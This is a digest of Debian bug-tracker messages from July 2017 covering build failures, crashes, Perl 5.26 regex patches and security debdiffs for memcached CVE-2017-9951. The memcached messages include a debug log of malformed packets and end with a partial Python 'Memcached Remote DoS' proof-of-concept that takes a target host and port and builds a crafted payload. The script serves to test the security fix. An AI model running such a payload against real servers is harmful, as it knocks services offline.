b'02a14da1fc1fc13389bbf32f0af7d8899f2b2323').type_name)
  File "dulwich/repo.py", line 337, in get_object
return self.object_store[sha]
  File "dulwich/object_store.py", line 116, in __getitem__
type_num, uncomp = self.get_raw(sha)
  File "dulwich/object_store.py", line 378, in get_raw
raise KeyError(hexsha)
KeyError: '02a14da1fc1fc13389bbf32f0af7d8899f2b2323'

These are both due to filesystem behaviour - Dulwich lacks fsync() calls for 
pack index files.


signature.asc
Description: PGP signature

Bug#869620: claws-mail-fancy-plugin: The debian testing repo no longer contains claws-mail-fancy-plugin

[Steven Rostedt]

Package: claws-mail-fancy-plugin
Severity: grave
Justification: renders package unusable

Dear Maintainer,

*** Reporter, please consider answering these questions, where appropriate ***

   * What led up to the situation?

Did an upgrade.

   * What exactly did you do (or not do) that was effective (or
 ineffective)?

I checked
ftp://ftp.us.debian.org/pub/debian/debian/dists/testing/main/binary-amd64/Packages.gz
And it doesn't appear in the list (although it states that
libwebkitgtk-1.0-0 breaks it.

   * What was the outcome of this action?

My html for claws-mail no longer works

   * What outcome did you expect instead?

My html work (and be able to install fancy plugin)

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.11.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), 
LANGUAGE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#869613: libreoffice write crashes (Debian 9)

[Aaron Valdes]

Hi Rene,

On Tue, 25 Jul 2017 00:02:31 +0200 Rene Engelhard  wrote:
> tag 869613 + moreinfo
> tag 869613 + unreproducible
> thanks
> 
> Hi,
> 
> On Mon, Jul 24, 2017 at 04:12:01PM -0400, Aaron Valdes wrote:
> > Package: libreoffice-gtk2
> > Version: 1:5.2.7-1
> > 
> > This is happening on my Dell Latitude D505.
> 
> Hmm. i386?

Yes

cat /proc/cpuinfo 
processor   : 0
vendor_id   : GenuineIntel
cpu family  : 6
model   : 13
model name  : Intel(R) Pentium(R) M processor 1.70GHz


> > When trying to launch libreoffice, the word processor does not open.  
> > libreoffice crashes
> > 
> > If I remove this package, the word processor opens.
> > 
> > aptitude remove libreoffice-gtk2
> 
> That is interesting.

gdb lowriter
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
"/usr/bin/lowriter": not in executable format: File format not recognized

How to run gdb correct with lowriter?
 
> Do you have a strace (note you need to use -f/-ff if you strace lowriter
> and/or soffice or somesuch) or a gdb backtrace?

What do you mean by these parameters?  -f/-ff

I will read the documentation and get an strace.  Super thanks for this link.

> 
> https://wiki.documentfoundation.org/QA/BugReport/Debug_Information#GNU.2FLinux
> 
> And which desktop/window manager is this? A GTk(2) using one?

XFCE 4.12

> After removing -gtk2 do you have -gtk3 installed? Or "pure" LO UI?
>

XFCE 4.12
 
> That said, works for me.
> 
> Even with
> 
> rene@frodo:~$ export SAL_USE_VCLPLUGIN="gtk"
> rene@frodo:~$ lowriter 
> 
> which forces gtk2. "Of course" I am still in my GNOME(3) environment on my
> amd64 laptop, but LO definitely picked up gtk2.
> 
> Regards,
> 
> Rene
> 
> P.S.: It's very non-helpful that you didn't use reportbug (did you?) and 
> included
> the infos it added to the report...

No, I did not use it.  I will make an effort to do so.

> 
> 

Bug#869529: Missed file tasks/lxqt-desktop

[Cyril Brulebois]

Control: notfound -1 3.39+siduction1 , found -1 3.39

Hi,

Alf Gaida  (2017-07-24):
> i think i have missed a file when preparing task-lxqt-deskop. Please
> see added patch.

If I provide you with a stretch amd64 netinst image, would that be
sufficient to double check the patched tasksel is doing the job
properly?


KiBi.


signature.asc
Description: Digital signature

Bug#868868: emacs25: Please include patch to fix FTBFS on m68k

[Andreas Schwab]

On Jul 25 2017, "Michael Karcher"  wrote:

> struct Lisp_Symbol alignas (GCALIGNMENT) lispsym[1101];
>
> This does not generate an array of aligned elements, but an aligned array
> of non-aligned elements.

Thanks, I have fixed that.

Andreas.

-- 
Andreas Schwab, sch...@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

Bug#863611: physlock: new upstream version available

[Brian Clinkenbeard]

stretch is now stable, but v11 has also been released:
https://github.com/muennich/physlock/releases/tag/v11

On Mon, 29 May 2017 18:33:50 +0200 Michael Prokop  wrote:
> * Ximin Luo [Mon May 29, 2017 at 11:30:51AM +0200]:
> 
> > 0.5 is available in GitHub. Actually it has been available since December 
> > 2015,
> > whereas d/changelog says December 2016 for its out-of-date version 0.4.5-2. 
> > I
> > wonder if d/watch is buggy or if your local git repo is out-of-date too?
> 
> I'm aware of it. It's due to https://github.com/muennich/physlock/issues/44
> which came too late for stretch. I'll upload the latest upstream
> version after stretch is released as stable.
> 
> regards,
> -mika-

Bug#868701: memcached: CVE-2017-9951: Heap-based buffer over-read in try_read_command function

[Guillaume Delacour]

On Mon, Jul 17, 2017 at 10:34:23PM +0200, Salvatore Bonaccorso wrote:
> Please adjust the affected versions in the BTS as needed.
> 

Please find attached the debdiff for Debian 9 Stretch.
Also, you can find a little test case (and results) without 
(CVE-2017-9951_1.4.33.log) 
and with the fix (CVE-2017-9951_1.4.33_fixed.log). I've build and test it on a 
clean stretch schroot.

-- 
Guillaume Delacour
diff -Nru memcached-1.4.33/debian/changelog memcached-1.4.33/debian/changelog
--- memcached-1.4.33/debian/changelog   2016-11-03 01:50:27.0 +0100
+++ memcached-1.4.33/debian/changelog   2017-07-25 00:38:52.0 +0200
@@ -1,3 +1,11 @@
+memcached (1.4.33-1+deb9u1) unstable; urgency=high
+
+  * Non-maintainer upload by the Security Team.
+  * Fix CVE-2017-9951 by checking the integer length of commands that adds or
+replaces key/value pair
+
+ -- Guillaume Delacour   Tue, 25 Jul 2017 00:38:52 +0200
+
 memcached (1.4.33-1) unstable; urgency=medium
 
   * New upstream release, fix CVE-2016-8704, CVE-2016-8705, CVE-2016-8706
diff -Nru memcached-1.4.33/debian/patches/09_CVE-2017-9951.patch 
memcached-1.4.33/debian/patches/09_CVE-2017-9951.patch
--- memcached-1.4.33/debian/patches/09_CVE-2017-9951.patch  1970-01-01 
01:00:00.0 +0100
+++ memcached-1.4.33/debian/patches/09_CVE-2017-9951.patch  2017-07-24 
21:59:20.0 +0200
@@ -0,0 +1,37 @@
+From 328629445c71e6c17074f6e9e0e3ef585b58f167 Mon Sep 17 00:00:00 2001
+From: dormando 
+Date: Tue, 4 Jul 2017 00:32:39 -0700
+Subject: [PATCH] sanity check
+Origin: upstream, 
https://github.com/memcached/memcached/commit/328629445c71e6c17074f6e9e0e3ef585b58f167
+
+---
+ items.c | 2 ++
+ memcached.c | 2 +-
+ 2 files changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/items.c b/items.c
+index 637e5e745..83a2ea37d 100644
+--- a/items.c
 b/items.c
+@@ -368,6 +368,8 @@ void item_free(item *it) {
+ bool item_size_ok(const size_t nkey, const int flags, const int nbytes) {
+ char prefix[40];
+ uint8_t nsuffix;
++if (nbytes < 2)
++return false;
+ 
+ size_t ntotal = item_make_header(nkey + 1, flags, nbytes,
+  prefix, );
+diff --git a/memcached.c b/memcached.c
+index 0f0335795..a89df965d 100644
+--- a/memcached.c
 b/memcached.c
+@@ -4967,7 +4967,7 @@ static void drive_machine(conn *c) {
+ 
+ case conn_swallow:
+ /* we are reading sbytes and throwing them away */
+-if (c->sbytes == 0) {
++if (c->sbytes <= 0) {
+ conn_set_state(c, conn_new_cmd);
+ break;
+ }
diff -Nru memcached-1.4.33/debian/patches/series 
memcached-1.4.33/debian/patches/series
--- memcached-1.4.33/debian/patches/series  2016-08-21 18:48:58.0 
+0200
+++ memcached-1.4.33/debian/patches/series  2017-07-25 00:38:52.0 
+0200
@@ -1,3 +1,4 @@
 01_init_script_additions.patch
 04_add_init_retry.patch
 07_disable_tests.patch
+09_CVE-2017-9951.patch
<26 new auto-negotiating client connection
26: going from conn_new_cmd to conn_waiting
26: going from conn_waiting to conn_read
26: going from conn_read to conn_parse_cmd
26: Client using the binary protocol
<26 Read binary protocol data:
<260x80 0x12 0x00 0x01
<260x08 0x00 0x00 0x00
<260xff 0xff 0xff 0xe8
<260x00 0x00 0x00 0x00
<260x00 0x00 0x00 0x00
<260x00 0x00 0x00 0x00
26: going from conn_parse_cmd to conn_nread
<26 ADD x Value len is -33
>26 Writing an error: Out of memory allocating item
>26 Writing bin response:
>26   0x81 0x12 0x00 0x00
>26   0x00 0x00 0x00 0x82
>26   0x00 0x00 0x00 0x1d
>26   0x00 0x00 0x00 0x00
>26   0x00 0x00 0x00 0x00
>26   0x00 0x00 0x00 0x00
26: going from conn_nread to conn_mwrite
26: going from conn_mwrite to conn_swallow
26: going from conn_swallow to conn_new_cmd
26: going from conn_new_cmd to conn_parse_cmd
<26 Read binary protocol data:
<260x80 0x12 0x00 0x01
<260x08 0x00 0x00 0x00
<260xff 0xff 0xff 0xe8
<260x00 0x00 0x00 0x00
<260x00 0x00 0x00 0x00
<260x00 0x00 0x00 0x00
26: going from conn_parse_cmd to conn_nread
<26 ADD x Value len is -33
>26 Writing an error: Out of memory allocating item
>26 Writing bin response:
>26   0x81 0x12 0x00 0x00
>26   0x00 0x00 0x00 0x82
>26   0x00 0x00 0x00 0x1d
>26   0x00 0x00 0x00 0x00
>26   0x00 0x00 0x00 0x00
>26   0x00 0x00 0x00 0x00
26: going from conn_nread to conn_mwrite
Failed to write, and not due to blocking: Broken pipe
26: going from conn_mwrite to conn_closing
<26 connection closed.
26: going from conn_closing to conn_closed
<26 new auto-negotiating client connection
26: going from conn_new_cmd to conn_waiting
26: going from conn_waiting to conn_read
26: going from conn_read to conn_parse_cmd
26: Client using the binary protocol
<26 Read binary protocol data:
<260x80 0x12 0x00 0x01
<260x08 0x00 0x00 0x00
<260xff 0xff 0xff 0xe8
<260x00 0x00 0x00 0x00
<260x00 0x00 0x00 0x00
<26

Bug#867496:

[Michael Hudson-Doyle]

I think this is all it takes to fix the build:

mwhudson@aeglos:/opt/opensource/deb/py36/morse-simulator-1.4$ cat
debian/patches/fix-ftbfs.diff
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -237,6 +237,7 @@
${CMAKE_CURRENT_SOURCE_DIR}/doc/man
${SPHINX_MAN_OUTPUT} &&
   ${GZIP} -f ${SPHINX_MAN_OUTPUT}/*.1)
+ ADD_DEPENDENCIES(man revisiontag)
  INSTALL(FILES ${SPHINX_MAN_OUTPUT}/morse.1.gz
   ${SPHINX_MAN_OUTPUT}/morse-run.1.gz
   ${SPHINX_MAN_OUTPUT}/morse-create.1.gz

I guess this should be reported upstream, will do that later today I guess.

There is still a problem though, because the orig tarball is from the git
tag not the release tarball from
ftp://ftp.openrobots.org/pub/openrobots/morse/ there is no version.py in
the orig and the version reported in version.py is bogus:

mwhudson@scw-4e4aeb:~$ cat x/usr/lib/python3/dist-packages/morse/version.py
VERSION="UNKNOWN-dirty"
PROJECT_STABLE=False

I only care about the ftbfs today though :)

Bug#869619: mighttpd2 FTBFS: Variable not in scope: fromByteString :: ByteString -> Path

[Adrian Bunk]

Source: mighttpd2
Version: 3.3.0-3
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/mighttpd2.html

...
[ 5 of 10] Compiling Program.Mighty.Route ( Program/Mighty/Route.hs, 
dist-ghc/build/Program/Mighty/Route.o )

Program/Mighty/Route.hs:104:5: error:
* Variable not in scope: fromByteString :: ByteString -> Path
* Perhaps you meant `fromString' (imported from 
Network.Wai.Application.Classic)

Program/Mighty/Route.hs:107:9: error:
* Variable not in scope: fromByteString :: ByteString -> Path
* Perhaps you meant `fromString' (imported from 
Network.Wai.Application.Classic)
/usr/share/cdbs/1/class/hlibrary.mk:147: recipe for target 'build-ghc-stamp' 
failed
make: *** [build-ghc-stamp] Error 1

Bug#869310: Updating the pythondialog Uploaders list

[Florent Rougon]

Hallo Tobias,

Tobias Frost  wrote:

> Source: pythondialog
> Version: 3.4.0-1
> Severity: minor
> User: m...@qa.debian.org
> Usertags: mia-teammaint
>
> Florent Rougon  has retired, so can't work on
> the pythondialog package anymore (at least with this address).
>
> We are tracking their status in the MIA team and would like to ask you
> to remove them from the Uploaders list of the package so we can close
> that part of the file.

As explained in another mail, I announced my retirement from DD status
six years *before* my work on this Debian packaging, so in some way I
semi-resumed after this retirement. Even though I lack time to work on
Debian stuff, I'd like to update the package in the future if RL
permits. If someone wants to actively take over, that is fine with me
and I can get out, otherwise maybe it is okay to stay this way.

Regards

-- 
Florent

Bug#868868: emacs25: Please include patch to fix FTBFS on m68k

[Michael Karcher]

> On Jul 19 2017, John Paul Adrian Glaubitz 
> wrote:
>
>> "sizeof(struct Lisp_Symbol) is 22 bytes on m68k, but the code expects
>> the
>>  size of the object to be dividable by 8."
>
> No, it doesn't.  See union aligned_Lisp_Symbol.

Yes, it does, although this most likely is a bug.

While aligned_Lisp_Symbol is used in alloc.c, which is used for dynamic
allocations, and most likely works OK, it is not used for the array of
static symbols, lispsym. The declaration in globals.h (a generated file)
looks like this:

struct Lisp_Symbol alignas (GCALIGNMENT) lispsym[1101];

This does not generate an array of aligned elements, but an aligned array
of non-aligned elements. This is in line with the documented use case of
alignas to create aligned vectors of floats like "alignas(16) float
vector[4];" in which only the whole array gets aligned.

The issue can most likely be fixed by using the union (which currently is
only defined inside alloc.c) in globals.h. This means copying that
definition or putting that definition into a shared header file. globals.h
is generated by lib-src/make-docfile.c

Bug#869583: intltool patch

[gregor herrmann]

Control: tag -1 + patch

On Mon, 24 Jul 2017 20:22:15 +0200, gregor herrmann wrote:

> Cf. #826471 in intltool which contains a patch.
> 
> I haven't looked if/how far it needs to be adadpted for the old
> embedded versions of intltool-update but it might serve as a starting
> point.

Here's a debdiff with a patch for intltool-update.in.


Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at/ - Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member of VIBE!AT & SPI, fellow of the Free Software Foundation Europe
   `-   NP: Juilliard Ensemble, Berberian,: Différences
diff -Nru gnome-specimen-0.4/debian/changelog gnome-specimen-0.4/debian/changelog
--- gnome-specimen-0.4/debian/changelog	2011-11-12 04:57:42.0 +0100
+++ gnome-specimen-0.4/debian/changelog	2017-07-25 00:22:22.0 +0200
@@ -1,3 +1,12 @@
+gnome-specimen (0.4-8.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix "Local copy of intltool-* fails with perl 5.26":
+add patch to escape literal left braces in regexp in intltool-update.in.
+(Closes: #869583)
+
+ -- gregor herrmann   Tue, 25 Jul 2017 00:22:22 +0200
+
 gnome-specimen (0.4-8) unstable; urgency=low
 
   * debian/control:
diff -Nru gnome-specimen-0.4/debian/patches/02_unescaped_left_brace.diff gnome-specimen-0.4/debian/patches/02_unescaped_left_brace.diff
--- gnome-specimen-0.4/debian/patches/02_unescaped_left_brace.diff	1970-01-01 01:00:00.0 +0100
+++ gnome-specimen-0.4/debian/patches/02_unescaped_left_brace.diff	2017-07-25 00:22:22.0 +0200
@@ -0,0 +1,55 @@
+Description: Fix "Unescaped left brace in regex is illegal" errors with perl 5.26
+Origin: vendor
+Bug: https://bugs.debian.org/869583
+Forwarded: no
+Author: gregor herrmann 
+Last-Update: 2017-07-25
+
+--- a/intltool-update.in
 b/intltool-update.in
+@@ -947,13 +947,13 @@
+ 	}
+ }
+ 
+-if ($str =~ /^(.*)\${?([A-Z_]+)}?(.*)$/)
++if ($str =~ /^(.*)\$\{?([A-Z_]+)}?(.*)$/)
+ {
+ 	my $rest = $3;
+ 	my $untouched = $1;
+ 	my $sub = "";
+ # Ignore recursive definitions of variables
+-$sub = $varhash{$2} if defined $varhash{$2} and $varhash{$2} !~ /\${?$2}?/;
++$sub = $varhash{$2} if defined $varhash{$2} and $varhash{$2} !~ /\$\{?$2}?/;
+ 
+ 	return SubstituteVariable ("$untouched$sub$rest");
+ }
+@@ -1071,10 +1071,10 @@
+ 	($name, $version) = ($1, $2);
+ 	$name=~ s/[\[\]\s]//g;
+ 	$version =~ s/[\[\]\s]//g;
+-	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\${?AC_PACKAGE_NAME}?/);
+-	$varhash{"PACKAGE"} = $name if (not $name =~ /\${?PACKAGE}?/);
+-	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\${?AC_PACKAGE_VERSION}?/);
+-	$varhash{"VERSION"} = $version if (not $name =~ /\${?VERSION}?/);
++	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\$\{?AC_PACKAGE_NAME}?/);
++	$varhash{"PACKAGE"} = $name if (not $name =~ /\$\{?PACKAGE}?/);
++	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\$\{?AC_PACKAGE_VERSION}?/);
++	$varhash{"VERSION"} = $version if (not $name =~ /\$\{?VERSION}?/);
+ }
+ 
+ if ($conf_source =~ /^AC_INIT\(([^,\)]+),([^,\)]+)/m) 
+@@ -1082,10 +1082,10 @@
+ 	($name, $version) = ($1, $2);
+ 	$name=~ s/[\[\]\s]//g;
+ 	$version =~ s/[\[\]\s]//g;
+-	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\${?AC_PACKAGE_NAME}?/);
+-	$varhash{"PACKAGE"} = $name if (not $name =~ /\${?PACKAGE}?/);
+-	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\${?AC_PACKAGE_VERSION}?/);
+-	$varhash{"VERSION"} = $version if (not $name =~ /\${?VERSION}?/);
++	$varhash{"PACKAGE_NAME"} = $name if (not $name =~ /\$\{?AC_PACKAGE_NAME}?/);
++	$varhash{"PACKAGE"} = $name if (not $name =~ /\$\{?PACKAGE}?/);
++	$varhash{"PACKAGE_VERSION"} = $version if (not $name =~ /\$\{?AC_PACKAGE_VERSION}?/);
++	$varhash{"VERSION"} = $version if (not $name =~ /\$\{?VERSION}?/);
+ }
+ 
+ # \s makes this not work, why?
diff -Nru gnome-specimen-0.4/debian/patches/series gnome-specimen-0.4/debian/patches/series
--- gnome-specimen-0.4/debian/patches/series	2010-02-09 06:17:41.0 +0100
+++ gnome-specimen-0.4/debian/patches/series	2017-07-25 00:22:22.0 +0200
@@ -1 +1,2 @@
 01_pt_translation.diff
+02_unescaped_left_brace.diff


signature.asc
Description: Digital Signature

Bug#869580: intltool patch

[gregor herrmann]

Control: tag -1 + patch

On Mon, 24 Jul 2017 20:22:15 +0200, gregor herrmann wrote:

> Cf. #826471 in intltool which contains a patch.
> 
> I haven't looked if/how far it needs to be adadpted for the old
> embedded versions of intltool-update but it might serve as a starting
> point.

Here's a debdiff with an adjusted patch.


Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at/ - Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member of VIBE!AT & SPI, fellow of the Free Software Foundation Europe
   `-   NP: Juilliard Ensemble, Berberian,: Différences
diff -Nru teg-0.11.2+debian/debian/changelog teg-0.11.2+debian/debian/changelog
--- teg-0.11.2+debian/debian/changelog	2016-03-25 04:07:04.0 +0100
+++ teg-0.11.2+debian/debian/changelog	2017-07-25 00:12:56.0 +0200
@@ -1,3 +1,12 @@
+teg (0.11.2+debian-4.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix "Local copy of intltool-* fails with perl 5.26":
+add patch to esacpe literal left brace in regexp in intltool-update.in.
+(Closes: #869580)
+
+ -- gregor herrmann   Tue, 25 Jul 2017 00:12:56 +0200
+
 teg (0.11.2+debian-4) unstable; urgency=medium
 
   * Team upload.
diff -Nru teg-0.11.2+debian/debian/patches/series teg-0.11.2+debian/debian/patches/series
--- teg-0.11.2+debian/debian/patches/series	2016-03-25 04:07:04.0 +0100
+++ teg-0.11.2+debian/debian/patches/series	2017-07-25 00:12:56.0 +0200
@@ -3,3 +3,4 @@
 fix_xml-doc-for-yelp.diff
 x-terminal-emulator.diff
 keywords.patch
+unescaped-left-brace.patch
diff -Nru teg-0.11.2+debian/debian/patches/unescaped-left-brace.patch teg-0.11.2+debian/debian/patches/unescaped-left-brace.patch
--- teg-0.11.2+debian/debian/patches/unescaped-left-brace.patch	1970-01-01 01:00:00.0 +0100
+++ teg-0.11.2+debian/debian/patches/unescaped-left-brace.patch	2017-07-25 00:12:56.0 +0200
@@ -0,0 +1,18 @@
+Description: Fix "Unescaped left brace in regex is illegal" error with perl 5.26
+Origin: vendor
+Bug: https://bugs.debian.org/869580
+Forwarded: no
+Author: gregor herrmann 
+Last-Update: 2017-07-25
+
+--- a/intltool-update.in
 b/intltool-update.in
+@@ -869,7 +869,7 @@
+ 	}
+ }
+ 
+-if ($str =~ /^(.*)\${?([A-Z_]+)}?(.*)$/)
++if ($str =~ /^(.*)\$\{?([A-Z_]+)}?(.*)$/)
+ {
+ 	my $rest = $3;
+ 	my $untouched = $1;


signature.asc
Description: Digital Signature

Bug#869309: [pkg-fgfs-crew] Bug#869309: Bug#869309: Updating the fgo Uploaders list

[Florent Rougon]

Hallo Tobias,

Tobias Frost  wrote:

> The database told me you've retired. If that is not the case or you've
> resumed (e.g using your @free.frp email) please appologize and just
> close the "Remove from uploaders" bugs. I absolutly do not want that
> you're being removed from any package as long as you're active!

I retired from DD status in 2008 and semi-resumed in 2014 (semi: without
asking to get this DD status back, because I can't spend enough time to
make it meaningful). It is true I don't have enough time for Debian work
at the moment due to RL difficulties... but I haven't completely given
up.

>>   https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787464
>
> package overhauled & uploaded, including your fix. Many thanks for it
> (however I could not test your fix as lacking a joystick)

Very good, thank you! Too bad this came after the stretch release...

As for this bug, I'll let Markus decide. I am not interested in the
software anymore (having myself forked the upstream project years ago
because I couldn't reach the upstream author anymore, and there wasn't
any update either), but since the package is still in the archive, I
*might* be able to help if needed for a specific problem...

To be clear: I won't feel offended if removed from Uploaders.

Regards

-- 
Florent

Bug#869618: bib2ris ignores year

[Leon Meier]

Package: refdb-clients
Version: 1.0.2-3

The year field in the .bib files is ignored. Example input file 
mybiblio.bib:


@article{entry,
  author= {John Smith},
  title = {Awesome Title},
  journal = {JACM},
  year  = {2006},
  pages = {1--2}
}

Running `bib2ris mybiblio.bib` results in

TY  - JOUR
ID  - entry
AU  - Smith,John
JF  - JACM
SP  - 1
EP  - 2
PY  - ///
TI  - Awesome Title
ER  -

As you see, the year is missing in the output. Trying various 
command-line options did not help. Any improvement would be greatly 
appreciated.


Thanks in advance!
Leon

Bug#869486: jruby: (Build-)Depends loop with ruby-psych

[Miguel Landaeta]

On Sun, Jul 23, 2017 at 11:33:55AM -0400, Aaron M. Ucko wrote:
> Package: jruby
> Version: 1.7.26-1
> Severity: important
> Control: affects -1 ruby-psych
> 
> [...]
> 
> Could you please take a look?  (I'm reporting this bug against jruby
> because you'll need to make changes to its packaging regardless.)
> 

I apologize for the silly mistake. I'll upload a jruby release that allow
ruby-psych to build soon.

I can't do it now because Maven is in a flux right now in sid and
jruby is FTBFS at the moment because of it.

-- 
Miguel Landaeta, nomadium at debian.org
secure email with PGP 0x6E608B637D8967E9 available at http://miguel.cc/key.
"Faith means not wanting to know what is true." -- Nietzsche


signature.asc
Description: Digital signature

Bug#869613: libreoffice write crashes (Debian 9)

[Rene Engelhard]

tag 869613 + moreinfo
tag 869613 + unreproducible
thanks

Hi,

On Mon, Jul 24, 2017 at 04:12:01PM -0400, Aaron Valdes wrote:
> Package: libreoffice-gtk2
> Version: 1:5.2.7-1
> 
> This is happening on my Dell Latitude D505.

Hmm. i386?

> When trying to launch libreoffice, the word processor does not open.  
> libreoffice crashes
> 
> If I remove this package, the word processor opens.
> 
> aptitude remove libreoffice-gtk2

That is interesting.

Do you have a strace (note you need to use -f/-ff if you strace lowriter
and/or soffice or somesuch) or a gdb backtrace?

https://wiki.documentfoundation.org/QA/BugReport/Debug_Information#GNU.2FLinux

And which desktop/window manager is this? A GTk(2) using one?
After removing -gtk2 do you have -gtk3 installed? Or "pure" LO UI?

That said, works for me.

Even with

rene@frodo:~$ export SAL_USE_VCLPLUGIN="gtk"
rene@frodo:~$ lowriter 

which forces gtk2. "Of course" I am still in my GNOME(3) environment on my
amd64 laptop, but LO definitely picked up gtk2.

Regards,

Rene

P.S.: It's very non-helpful that you didn't use reportbug (did you?) and 
included
the infos it added to the report...

Bug#869541: lintian warns both with and without autotools-dev build-dep

[Chris Lamb]

Chris Lamb wrote:

> Fixed in Git:

Here's one potential improvement to avoid data in the check itself:

  https://gist.github.com/lamby/bbbda903a67b6a81f9d7dc936ccbd844/raw

(I haven't committed this bit.)


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb, Debian Project Leader
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#868507: Re : Re : Re : Bug#868507: libreoffice-writer: Crash after the last upgrade

[Rene Engelhard]

Hi,

On Sun, Jul 16, 2017 at 09:19:43PM +0200, Rene Engelhard wrote:
> https://wiki.documentfoundation.org/Development/How_to_debug
> (which is also trivially findable by googling for "libreoffice gdb backtrace")

I am sorry, that of course was nonsense. I meant _this_ link:

https://wiki.documentfoundation.org/QA/BugReport/Debug_Information#GNU.2FLinux

Regards,
 
Rene

Bug#868701: memcached: CVE-2017-9951: Heap-based buffer over-read in try_read_command function

[Guillaume Delacour]

On Mon, Jul 17, 2017 at 10:34:23PM +0200, Salvatore Bonaccorso wrote:
> 
> Please adjust the affected versions in the BTS as needed.

Please find attached the debdiff for Debian 8 Jessie.
Also, you can find a little test case (and results) without 
(CVE-2017-9951_exploit.log) 
and with the fix (CVE-2017-9951_fixed.log). I've build and test it on a clean 
jessie schroot.

> 
> Regards,
> Salvatore
> 

-- 
Guillaume Delacour
diff -Nru memcached-1.4.21/debian/changelog memcached-1.4.21/debian/changelog
--- memcached-1.4.21/debian/changelog   2016-11-01 21:10:45.0 +
+++ memcached-1.4.21/debian/changelog   2017-07-24 20:07:10.0 +
@@ -1,3 +1,11 @@
+memcached (1.4.21-1.1+deb8u2) unstable; urgency=high
+
+  * Non-maintainer upload by the Security Team.
+  * Fix CVE-2017-9951 by checking the integer length of commands that adds or
+replaces key/value pair
+
+ -- Guillaume Delacour   Mon, 24 Jul 2017 19:54:18 +
+
 memcached (1.4.21-1.1+deb8u1) jessie-security; urgency=high
 
   * Non-maintainer upload by the Security Team.
diff -Nru memcached-1.4.21/debian/patches/09_CVE-2017-9951.patch 
memcached-1.4.21/debian/patches/09_CVE-2017-9951.patch
--- memcached-1.4.21/debian/patches/09_CVE-2017-9951.patch  1970-01-01 
00:00:00.0 +
+++ memcached-1.4.21/debian/patches/09_CVE-2017-9951.patch  2017-07-24 
19:59:20.0 +
@@ -0,0 +1,37 @@
+From 328629445c71e6c17074f6e9e0e3ef585b58f167 Mon Sep 17 00:00:00 2001
+From: dormando 
+Date: Tue, 4 Jul 2017 00:32:39 -0700
+Subject: [PATCH] sanity check
+Origin: upstream, 
https://github.com/memcached/memcached/commit/328629445c71e6c17074f6e9e0e3ef585b58f167
+
+---
+ items.c | 2 ++
+ memcached.c | 2 +-
+ 2 files changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/items.c b/items.c
+index 637e5e745..83a2ea37d 100644
+--- a/items.c
 b/items.c
+@@ -368,6 +368,8 @@ void item_free(item *it) {
+ bool item_size_ok(const size_t nkey, const int flags, const int nbytes) {
+ char prefix[40];
+ uint8_t nsuffix;
++if (nbytes < 2)
++return false;
+ 
+ size_t ntotal = item_make_header(nkey + 1, flags, nbytes,
+  prefix, );
+diff --git a/memcached.c b/memcached.c
+index 0f0335795..a89df965d 100644
+--- a/memcached.c
 b/memcached.c
+@@ -4967,7 +4967,7 @@ static void drive_machine(conn *c) {
+ 
+ case conn_swallow:
+ /* we are reading sbytes and throwing them away */
+-if (c->sbytes == 0) {
++if (c->sbytes <= 0) {
+ conn_set_state(c, conn_new_cmd);
+ break;
+ }
diff -Nru memcached-1.4.21/debian/patches/series 
memcached-1.4.21/debian/patches/series
--- memcached-1.4.21/debian/patches/series  2016-11-01 21:10:45.0 
+
+++ memcached-1.4.21/debian/patches/series  2017-07-24 20:07:26.0 
+
@@ -5,3 +5,4 @@
 06_eol_comment_handling.patch
 07_disable_tests.patch
 08_CVE-2016-8704_CVE-2016-8705_CVE-2016-8706.patch
+09_CVE-2017-9951.patch
#!/usr/bin/python
# thanks https://packetstormsecurity.com/files/121445/killthebox.py.txt &&
# https://www.twistlock.com/2017/07/13/cve-2017-9951-heap-overflow-memcached-server-1-4-38-twistlock-vulnerability-report/
import sys
import socket

print "Memcached Remote DoS"
if len(sys.argv) != 3:
print "Usage: %s  " %(sys.argv[0])
sys.exit(1)

target = sys.argv[1]
port = sys.argv[2]

print "[+] Target Host: %s" %(target)
print "[+] Target Port: %s" %(port)

kill = """\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff"""
kill +="""\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"""
kill +="""\x00\xff\xff\xff\xff\x01\x00\x00\0x{}""".format("41"*1000)

